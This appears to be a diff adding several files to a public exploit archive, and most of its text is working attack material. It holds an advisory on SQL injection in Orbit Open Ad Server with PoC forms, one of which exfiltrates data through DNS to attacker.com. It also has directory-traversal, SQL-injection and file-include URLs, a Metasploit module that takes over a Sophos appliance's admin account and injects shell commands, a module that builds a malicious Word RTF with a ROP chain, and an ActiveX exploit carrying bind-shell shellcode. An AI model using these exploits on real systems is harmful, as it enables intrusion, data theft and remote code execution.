[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

84
platforms/php/webapps/32792.txt Executable file
View file

@ -0,0 +1,84 @@
Advisory ID: HTB23208
Product: Orbit Open Ad Server
Vendor: OrbitScripts, LLC
Vulnerable Version(s): 1.1.0 and probably prior
Tested Version: 1.1.0
Advisory Publication: March 19, 2014 [without technical details]
Vendor Notification: March 19, 2014
Vendor Patch: March 21, 2014
Public Disclosure: April 9, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-2540
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL requests to database of vulnerable application and potentially gain control over the vulnerable website.
1) SQL Injection in Orbit Open Ad Server: CVE-2014-2540
Input passed via the "site_directory_sort_field" HTTP POST parameter to "/guest/site_directory" URL is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL commands.
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
<input type="submit" id="btn">
</form>
The second PoC code works against any platform (UNIX/Windows) and uses blind SQL injection brute-force (dichotomy) technique to extract data from the database:
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(SELECT IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1, BENCHMARK(22000000,MD5(NOW()))))">
<input type="submit" id="btn">
</form>
-----------------------------------------------------------------------------------------------
Solution:
Update to Orbit Open Ad Server 1.1.1
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23208 - https://www.htbridge.com/advisory/HTB23208 - SQL Injection in Orbit Open Ad Server.
[2] Orbit Open Ad Server - http://orbitopenadserver.com/ - the free, open source ad tool that lets you manage the profits while we manage the technology.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

9
platforms/php/webapps/32802.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/33781/info
ClipBucket is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
ClipBucket 1.7 is vulnerable; other versions may also be affected.
http://www.example.com/dwnld.php?file=../../../../etc/passwd

8
platforms/php/webapps/32803.txt Executable file
View file

@ -0,0 +1,8 @@
source: http://www.securityfocus.com/bid/33835/info
A4Desk Event Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/[path]/admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),0x3a,database(),0x3a,user()),3,4,5,6--

9
platforms/php/webapps/32804.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/33843/info
lastRSS autoposting bot MOD is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
This issue affects lastRSS autoposting bot MOD 0.1.3; other versions may also be vulnerable.
http://www.example.com/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code]

7
platforms/php/webapps/32806.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/33851/info
Blue Utopia is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks.
http://www.example.com/index.php?page=../../../../../../../../../../../../../../.. /../../../../../../../../../etc/passwd%00

200
platforms/unix/remote/32789.rb Executable file
View file

@ -0,0 +1,200 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',
'Description' => %q{
This module takes advantage of two vulnerabilities in order to gain remote code execution as root
as an otherwise non-privileged authorized user. By taking advantage of a mass assignment
vulnerability that allows an unprivileged authenticated user to change the admininistrator's
password hash, the module updates the password to login as the admin to reach the second vulnerability.
No server-side sanitization is done on values passed when configuring a static network interface.
This allows an administrator user to run arbitrary commands in the context of the web application,
which is root when configuring the network interface. This module will inadvertently delete
any other users that may have been present as a side effect of changing the admin's password.
},
'Author' =>
[
'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 500,
'DisableNops' => true,
'BadChars' => "", #base64 encryption ftw!
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet'
}
},
'Targets' =>
[
[ 'Sophos Web Protection Appliance 3.8.1.1', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 8 2014'
))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),
OptString.new('TARGETURI', [true, 'The target URI', '/']),
Opt::RPORT(443)
],
self.class
)
end
def exploit
init = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php')
})
if !init or !init.body
fail_with("Could not connect to host")
end
print_status("Getting STYLE key...")
style = ''
init.body.each_line do |line|
next if line !~ /name="STYLE" value="(.*)"/
style = $1
end
if style == ''
fail_with("Could not find style key.")
end
post = {
'STYLE' => style,
'destination' => '',
'section' => '',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
print_status("Authenticating as " + datastore['USERNAME'])
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/index.php?c=login'),
'method' => 'POST',
'vars_post' => post
})
if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
fail_with("Authentication failed")
end
#I don't know what salt is being used to hash these
#passwords (probably in js somewhere), so I have
#to use a static one that I saw being POSTed while
#exploring, it is 'notpassword'.
#
#This will actually delete every other user that exists
#except for admin, whose password will be changed
#
#whoops
admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"'
admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default '
admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"'
admin_hash << ': [], "user_id": 0}]'
post = {
'action' => 'save',
'STYLE' => style,
'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),
'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
'admins' => admin_hash
}
print_status("Changing old password hash to notpassword")
passchange = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),
'method' => 'POST',
'vars_post' => post
})
if !passchange or passchange.code != 200
fail_with("Couldn't update admin's password")
end
print_status("Logging in as the admin now")
init = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php')
})
if !init or init.code != 200
fail_with("Couldn't reget index page for admin auth")
end
init.body.each_line do |line|
next if line !~ /name="STYLE" value="(.*)"/
style = $1
end
post = {
'STYLE' => style,
'destination' => '',
'section' => '',
'username' => 'admin',
'password' => 'notpassword'
}
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),
'method' => 'POST',
'vars_post' => post
})
if !login or login.code != 200 or login.body !~ /admin<\/a>/
fail_with("Couldn't login as admin")
end
pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))
post = {
'STYLE' => style,
'dhcp' => 'no',
'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16",
'gateway' => '192.168.1.254',
'sb_bridge' => 'explicit',
'netmask' => '255.255.255.0',
'sb_linktype' => 'auto',
'dns' => 'yes',
'dns1' => '192.168.1.254',
'dns2' => '',
'dns3' => ''
}
print_status("Sending payload")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'),
'method' => 'POST',
'vars_post' => post,
})
end
end

116
platforms/windows/local/32793.rb Executable file
View file

@ -0,0 +1,116 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => "MS14-017 Microsoft Word RTF Object Confusion",
'Description' => %q{
This module creates a malicious RTF file that when opened in
vulnerable versions of Microsoft Word will lead to code execution.
The flaw exists in how a listoverridecount field can be modified
to treat one structure as another.
This bug was originally seen being exploited in the wild starting
in April 2014. This module was created by reversing a public
malware sample.
},
'Author' =>
[
'Haifei Li', # vulnerability analysis
'Spencer McIntyre',
'unknown' # malware author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-1761'],
['MSB', 'MS14-017'],
['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'],
['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'StackAdjustment' => -3500,
'Space' => 375,
'DisableNops' => true
},
'Targets' =>
[
# winword.exe v14.0.7116.5000 (SP2)
[ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English', { } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Apr 1 2014'))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf'])
], self.class)
end
def exploit
junk = rand(0xffffffff)
rop_chain = [
0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx]
junk,
junk,
0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx]
0x2758b042, # RETN [MSCOMCTL.ocx]
0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx]
0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx]
0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx]
0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx]
0x40000000,
0x00100000,
0x00003000,
0x00000040,
0x00001000,
0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx]
junk,
0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx]
junk,
junk,
junk,
junk,
0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx]
0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx]
junk,
0x40000000,
0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx]
junk,
junk,
junk,
junk,
0x40000040
].pack("V*")
exploit_data = [ junk ].pack("v")
exploit_data << rop_chain
exploit_data << payload.encoded
exploit_data << make_nops(exploit_data.length % 2)
exploit_data = exploit_data.unpack("S<*")
exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
exploit_data = exploit_data.join
template_part1 = 0x1e04
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf")
template_rtf = ::File.open(template_path, 'rb')
exploit_rtf = template_rtf.read(template_part1)
exploit_rtf << exploit_data
exploit_rtf << template_rtf.read
file_create(exploit_rtf)
end
end

9
platforms/windows/remote/32799.html Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/33726/info
Nokia Phoenix Service Software ActiveX controls are prone to multiple buffer-overflow vulnerabilities because they fail to properly bounds-check user-supplied data before copying it into insufficiently sized memory buffers.
An attacker can exploit these issues to execute arbitrary code within the context of the application that invoked the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.
Nokia Phoenix Service Software 2008.04.007.32837 is vulnerable; other versions may also be affected.
<html> <object classid='clsid:F85B4A10-B530-4D68-A714-7415838FD174' id='Fucker'></object> <script language = 'vbscript'> junk = String(370, "A") EIP = unescape("%53%49%48%7E") 'call esp from user32.dll XpPro Sp3/IE7 nop = String(12, unescape("%90")) <!-- win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com --> shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") shellcode=shellcode+unescape("%49%49%37%49%49%49%49%49%49%49%49%49%51%5a%6a%67") shellcode=shellcode+unescape("%58%30%42%31%50%41%42%6b%42%41%77%32%42%42%32%41") shellcode=shellcode+unescape("%41%30%41%41%42%58%38%42%42%50%75%6b%59%39%6c%50") shellcode=shellcode+unescape("%6a%7a%4b%70%4d%6d%38%4b%49%6b%4f%59%6f%69%6f%31") shellcode=shellcode+unescape("%70%4e%6b%72%4c%51%34%56%44%4e%6b%30%45%57%4c%4c") shellcode=shellcode+unescape("%4b%33%4c%57%75%53%48%45%51%68%6f%6e%6b%32%6f%52") shellcode=shellcode+unescape("%38%4e%6b%53%6f%61%30%45%51%5a%4b%42%69%4e%6b%56") shellcode=shellcode+unescape("%54%4e%6b%47%71%78%6e%45%61%4b%70%6f%69%4c%6c%6d") shellcode=shellcode+unescape("%54%6f%30%71%64%65%57%58%41%68%4a%76%6d%35%51%6b") shellcode=shellcode+unescape("%72%78%6b%6c%34%75%6b%73%64%75%74%75%78%51%65%49") shellcode=shellcode+unescape("%75%6e%6b%51%4f%36%44%57%71%5a%4b%70%66%6e%6b%34") shellcode=shellcode+unescape("%4c%30%4b%6c%4b%73%6f%47%6c%65%51%4a%4b%73%33%64") shellcode=shellcode+unescape("%6c%4e%6b%4b%39%70%6c%31%34%77%6c%75%31%69%53%65") shellcode=shellcode+unescape("%61%49%4b%52%44%6e%6b%32%63%36%50%6e%6b%33%70%74") shellcode=shellcode+unescape("%4c%6c%4b%74%30%45%4c%4c%6d%6e%6b%77%30%57%78%61") shellcode=shellcode+unescape("%4e%73%58%6c%4e%50%4e%36%6e%38%6c%56%30%79%6f%38") shellcode=shellcode+unescape("%56%55%36%72%73%65%36%30%68%44%73%34%72%65%38%42") shellcode=shellcode+unescape("%57%53%43%77%42%61%4f%31%44%6b%4f%6e%30%45%38%4a") shellcode=shellcode+unescape("%6b%48%6d%4b%4c%77%4b%46%30%69%6f%4a%76%61%4f%4b") shellcode=shellcode+unescape("%39%6b%55%62%46%4b%31%48%6d%75%58%76%62%43%65%73") shellcode=shellcode+unescape("%5a%35%52%6b%4f%4e%30%55%38%6e%39%65%59%6b%45%6e") shellcode=shellcode+unescape("%4d%62%77%4b%4f%69%46%51%43%46%33%71%43%52%73%63") shellcode=shellcode+unescape("%63%43%73%30%53%70%43%61%43%59%6f%6e%30%72%46%75") shellcode=shellcode+unescape("%38%52%31%71%4c%33%56%43%63%6d%59%59%71%6c%55%72") shellcode=shellcode+unescape("%48%6f%54%66%7a%70%70%4b%77%50%57%4b%4f%4b%66%63") shellcode=shellcode+unescape("%5a%36%70%71%41%50%55%4b%4f%4e%30%61%78%4f%54%4c") shellcode=shellcode+unescape("%6d%56%4e%69%79%52%77%6b%4f%5a%76%36%33%43%65%59") shellcode=shellcode+unescape("%6f%5a%70%45%38%6a%45%30%49%6c%46%57%39%72%77%59") shellcode=shellcode+unescape("%6f%7a%76%50%50%71%44%70%54%52%75%39%6f%58%50%6e") shellcode=shellcode+unescape("%73%42%48%4b%57%71%69%38%46%33%49%41%47%39%6f%49") shellcode=shellcode+unescape("%46%30%55%49%6f%4a%70%50%66%61%7a%31%74%43%56%52") shellcode=shellcode+unescape("%48%75%33%62%4d%6c%49%49%75%71%7a%42%70%50%59%54") shellcode=shellcode+unescape("%69%4a%6c%4c%49%39%77%42%4a%57%34%4b%39%69%72%65") shellcode=shellcode+unescape("%61%4b%70%58%73%6d%7a%6b%4e%50%42%76%4d%6b%4e%50") shellcode=shellcode+unescape("%42%76%4c%4d%43%6e%6d%73%4a%65%68%6e%4b%6e%4b%4c") shellcode=shellcode+unescape("%6b%71%78%32%52%6b%4e%4f%43%34%56%69%6f%72%55%32") shellcode=shellcode+unescape("%64%49%6f%7a%76%43%6b%56%37%56%32%70%51%30%51%32") shellcode=shellcode+unescape("%71%43%5a%37%71%41%41%73%61%63%65%66%31%4b%4f%5a") shellcode=shellcode+unescape("%70%70%68%6e%4d%79%49%73%35%5a%6e%61%43%49%6f%58") shellcode=shellcode+unescape("%56%50%6a%49%6f%59%6f%64%77%59%6f%58%50%4c%4b%32") shellcode=shellcode+unescape("%77%6b%4c%4e%63%48%44%63%54%6b%4f%4e%36%46%32%69") shellcode=shellcode+unescape("%6f%38%50%51%78%78%70%4f%7a%76%64%31%4f%63%63%69") shellcode=shellcode+unescape("%6f%4b%66%6b%4f%68%50%67") NokiaFucker = junk + EIP + nop + shellcode Fucker.SelectDevice NokiaFucker,"" </script> </html>